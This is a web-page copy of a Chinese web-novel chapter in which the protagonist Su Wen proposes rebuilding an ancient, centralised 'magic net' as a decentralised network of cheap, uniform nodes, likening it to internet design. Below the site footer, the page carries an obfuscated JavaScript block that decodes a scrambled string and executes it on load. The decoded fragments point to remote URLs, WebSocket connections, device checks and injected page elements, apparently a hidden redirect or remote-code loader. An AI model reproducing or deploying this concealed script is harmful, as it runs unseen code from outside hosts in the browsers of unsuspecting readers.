首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

章五二七 新魔网的构想

    “魔网执掌者具体是怎么疯的?”
    执政办公室内,苏文倒是没有被大眼球的话给震惊到,他反而很自然地接着询问了起来。
    大眼球似乎陷入了不好的回忆:“帝国陨落后,魔网执掌者就疯狂地想要恢复魔法帝国,重新创造出皇帝,为此它举行了数次试炼,但在诸神的干涉下,全部失败了。
    “最后发生了什么,坦率说我也不是很清楚……当时我的核心被诸神击溃,我主宰的天空城陨落大地,而等我启动备用手段,放弃至高权限,终于苏醒的时候,魔网内已经只有执掌者疯狂的怨念。”
    大眼球叹息了一声:“帝国没能再诞生新的皇帝。”
    安伯仑听着这些秘辛,内心震撼无比。
    而苏文却是接着开始询问起了魔网的详细原理,以及执掌者在其中的具体作用。
    对此,大眼球倒是知无不言,但也一再建议苏文不要接入魔网,一个疯狂的执掌者,哪怕苏文是新的皇帝,也很难不被影响。
    苏文听着大眼球的话,大概也明白了魔网的具体功效。
    其实,从某种意义上讲,它和苏文前世的‘互联网’有点类似。
    单个的施法者,可以看作是一台电脑,它的运算能力或许可以非常强,但终归是有一定上限。
    而许多施法者,通过一张‘网’链接起来,就能实现以极低的成本,调用高阶法术的能力。
    甚至还能做到协同施法、远距离支援施法等,轻易地施展出现代法师根本难以想象的庞大法术结构。
    古魔法帝国,甚至可以由多个大奥术师联手,施展跨越整个大陆的法术,甚至是将一座山削平,来让它漂浮在天空成为浮空岛。
    魔法帝国的法术,确实走到了一个极为辉煌的领域。
    “我不会去连接魔网。”
    苏文对着悬浮在半空的大眼球说道:“我的想法是,既然旧魔网已经成了陷阱,那我们就自己造一个新的。”
    “造一个新的?”
    大眼球像是听到了什么笑话,发出了一阵嗤笑声。
    “苏文,我知道你很厉害,你的道途走得连我都看不透,但你根本不知道魔网是什么东西。
    “魔法帝国倾尽十二位皇帝的力量,耗费了上千年时间,才建成了那套覆盖整个大陆的魔网体系。
    “你想凭一己之力,再造一个?哈哈,我不能说这完全不可能,但你也做好用千年奋战的准备吧!”
    安伯伦坐在旁边,本来听着魔网原理,听得昏昏欲睡,听到这话也终于来了精神。
    他看看苏文,又看看大眼球,忍不住插嘴道:“那个……魔网很难造吗?”
    “至少,要造出来一个能承载魔网的核心,就需要数百年时间。”
    大眼球的语气带着极度的骄傲,以及惋惜。
    “魔网的核心逻辑,是将所有的魔力与计算,都集中在执掌者这个构造体身上。它就是整个网络的心脏和大脑,所有的节点都要向它同步,所有的请求都要由它处理。
    “也只有执掌者那种,在十二条道途上都走到第一层级的最强的构造体,才能承载如此恐怖的计算量和魔力负荷。
    “别说现在没有这样的技术,就算有,谁又能保证它不会变成第二个疯子?”
    苏文听到这里也是叹息了一声——如果把魔网视作互联网的话。
    那么魔法帝国就是造了一个最大的中心服务器,然后让所有的电脑都连到这一个服务器上。
    这一下单点故障,整个网络就都瘫痪了。
    苏文由此说道:“帝国难道就没有考虑过备份?这样也不至于核心一失控,整个魔网就完全不能用了。”
    大眼球却是直接地回答道:“我们不是没想过其他路子。至少有七位魔法皇帝,尝试过分散魔网的核心,把执掌者的权限分给其他高阶构造体节点。但无一例外都失败了。
    “只要分散的节点超过一百个,不同节点都会吸纳加入的施法者的意志,让魔力来回流动,从而出现致命偏差,最终整个网络会彻底失控,变成吞噬一切的魔力风暴。”
    噢,广播风暴。
    苏文点了点头,越来越觉得这个听着像前世的网络拓扑结构了。
    前世如果网络出现环路等故障的话,局域网环境内也会出现大量包来回传输,引发广播风暴。不过前世的网络结构,可以依靠生成树协议等一系列方式来避免或者解决这种故障。
    魔法帝国为何没有使用这种方式来解决问题?
    苏文仔细询问后,才突然发现,这个世界的魔法帝国的魔网思路,和他理解的网络有个根本区别。
    魔网是为强者服务的。
    在旧魔法帝国,魔网内奥术师的实力越强,能调动的资源也就越多,简单来说,就是汇集魔网内其他施法者的资源,汇集到一个强大的奥术师身上。
    所以旧魔网内如果加入了数个强者,它们就会互相冲突,让一个弱小的施法者的资源,一会儿去A,一会儿又去B。这样的情况多了,就会让魔网出现风暴。
    而魔法帝国的解决手段堪称简单粗暴——既然强者之间会互相抢资源,那么我安排一个最强的,先把资源全部抢过来,再挨个下发。
    而当皇帝要使用魔网的时候,更是可以让整个魔网为他一个人服务。所以一般情况下,他们都要协商使用次序,魔法议会最初就是因为这样的理由而诞生的。
    每个皇帝都是‘至高权限’——这里的权限,就是指的调用魔网的权限。它凭借的就是最纯粹的实力。
    每个皇帝的登基典礼,都是彻底执掌一次魔网,以此宣告加冕。
    大眼珠子直接说道:
    “没有一个绝对强大的统一核心来校准所有节点,分布式的魔法网络,就是一堆一碰就碎的散沙。
    “魔网需要至高强者来掌控,这是魔法的规则推定的,谁也改变不了。”
    这番话说得有理有据,安伯伦也听得连连点头。
    在他看来,魔法皇帝活了几千年,见过的东西比苏文吃过的饭都多,他说不行,那肯定就是不行。
    可苏文却摇了摇头。
    “你说的没错,没有统一核心的校准,传统的分布式魔法网络确实会失控。”
    但他接着又说道:“但你有没有想过,旧魔网的思路,从根上就是错的?”
    大眼球顿了一下:“你什么意思?”
    苏文的语气颇为严肃:“它是强者的产物,是精英思维的极致。
    “它把所有人都变成了依附于核心的附庸,一旦核心出了问题,整个体系就会瞬间崩塌。魔法帝国的覆灭,就证明了这条路走不通。”
    他说着身子不由得更坐直了些,眼神锐利:“我要造的网络,和它完全不一样。”
    “我不会去造一个无所不能的巨大构造体核心,我要造无数个一模一样、廉价到可以批量生产的小型构造体节点。”
    “每个节点都只负责很小一块区域的魔力传输和计算,它们不要求要有多强的力量,只要能完成最基础的指令就行。”
    “这不可能!”
    大眼球立刻打断了他:“我刚才说了,节点多了必然会失控!没有核心校准,它们的魔力频率会乱成一团!”
    “我不需要一个核心来校准所有节点。”
    苏文平静地反驳:“我会给它们制定一套统一的规则。”
    “所有的节点都按照同一套标准生产,按照同一套协议运行。相邻的节点之间互相校准,互相备份,形成一张没有中心的网。”
    “就算其中一个、十个,甚至一百个节点被摧毁,剩下的节点也会自动重新连接,补上缺口。整个网络不会因为任何一个点的崩溃,而停止运行。”
    “这怎么能实现……”
    大眼球一时没有反应过来,“那强者加入这个脆弱的网络怎么办?如此脆弱的网络,如何能给强者服务?”
    它是真的疑惑。
    苏文却是进一步解释道:“你似乎没有理解——在这个网络,强者遵循和普通接入者一样的规则。
    “旧魔网每个节点都能自主吸纳意志,自然会混乱;而我设计的节点,没有自主分配权,只执行统一协议,相邻节点互校就是为了抵消偏差,不会出现魔力乱流。”
    “到时候网络中没有强者、弱者的区分,只有客户端和服务端的区别。”
    大眼球不由得奇道:“强者的意志自然凌驾——到时候它不遵循这个要求怎么办?”
    “异常接入,肯定是直接踢下线啊。到时候针对这类黑客……我的意思是魔网侵入者,我们还需要构建一整套安全体系……”
    苏文回答得很干脆,接着,他开始详细地说明自己的想法——包括接入规则,校准协议,安全协议……
    办公室里安静了下来。
    安伯伦张大了嘴巴,手里的茶杯举在半空,半天都没有放下来。
    他听着听着,突然觉得,这件事……好像真的有可能?
    大眼球原本不停转动的瞳孔,此刻死死地盯着苏文。
    它活了数千年,见证了魔法帝国从崛起走向覆灭,见过无数惊才绝艳的天才,听过无数天马行空的构想。
    可它从来没有听过这样的思路。
    它之前甚至都没有想过,魔法网络可以不用强者来掌控,然后去用一堆廉价的、可替换的垃圾,就去堆出一个比旧魔网更稳定、更强大的体系。
    帝国一向仰望星空,他们是不会看脚下的蝼蚁的。
    执掌魔网,在帝国的语境中是加冕。
    如今这个家伙要将魔网交给蝼蚁执掌……这里对于大眼球来说,并不只是技术上的冲击,更是观念上的冲击。
    在场的两个人,都想不到这件事对于一个老帝国人来说有多么震撼。
    它下意识地想要反驳,想要说出“不可能”,可话到嘴边,却一个字也说不出来。
    苏文的逻辑太严密了,严密到无懈可击。
    “批量生产……统一标准……互相校准……冗余备份……”
    大眼球喃喃自语,声音里带着前所未有的茫然和震撼。
    “原来……还可以这样……”
    它长出了一口气——苏文和它见过的所有法师都不一样。
    那些法师,哪怕是强如十二位魔法皇帝,也始终站在强者的视角里,自视为高贵的施法者。
    而苏文,他根本就不在那个框架里,在他的视角中,法术只是一个工具,和锄头、铲子没有任何区别。
    他并不认为会使用铲子,是一件多么高贵的事情。
    (这就是你的道途吗?新皇帝……)
    苏文看着它的反应,还以为对方在思考工程难度,不由得笑了起来:
    “这件事确实很难。”
    他坦然承认道:“我们需要解决节点构造体的标准化生产问题,需要解决接入魔网的方式问题,需要编写一套能让所有节点都遵守的运行协议,还需要解决成千上万节点同时运行的同步问题。
    “这些问题,没有一个是容易解决的,可能需要耗费几年甚至十几年的时间,才能全部攻克。”
    他顿了顿,认真地说道:“但不至于需要上千年的时间,那太久了。”
    话音落下,大眼球长长地呼出了一口气。
    它绕着苏文快速地转了三圈,瞳孔里闪烁着难以言喻的光芒,有震惊,有狂喜,还有一丝劫后余生的庆幸。
    “你是对的。”
    它的声音带着一丝颤抖,这是它寄宿在安伯仑体内以来,第一次用如此郑重、甚至带着一丝敬畏的语气说话。
    安伯仑莫名感觉,这个魔法皇帝似乎并不只是在说苏文‘新魔网’的构想是对的。
    “旧魔网的方案确实过时了,需要新的构想了。”
    大眼球看着苏文,突然觉得,眼前这个男人,或许真的能创造出一个连魔法帝国都无法想象的时代。
    它停在苏文面前:“关于旧魔网的架构,我能回忆起来的细节,我都能告诉你。这些东西,或许能帮你们少走一些弯路。”
    苏文笑了。
    “那就太感谢了!”
    “明天一早,我就去了解一下哪些奇械师和教授比较有空,到时候我们成立一个新的研究部门。
    “先构建一个局域魔网试试。”

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();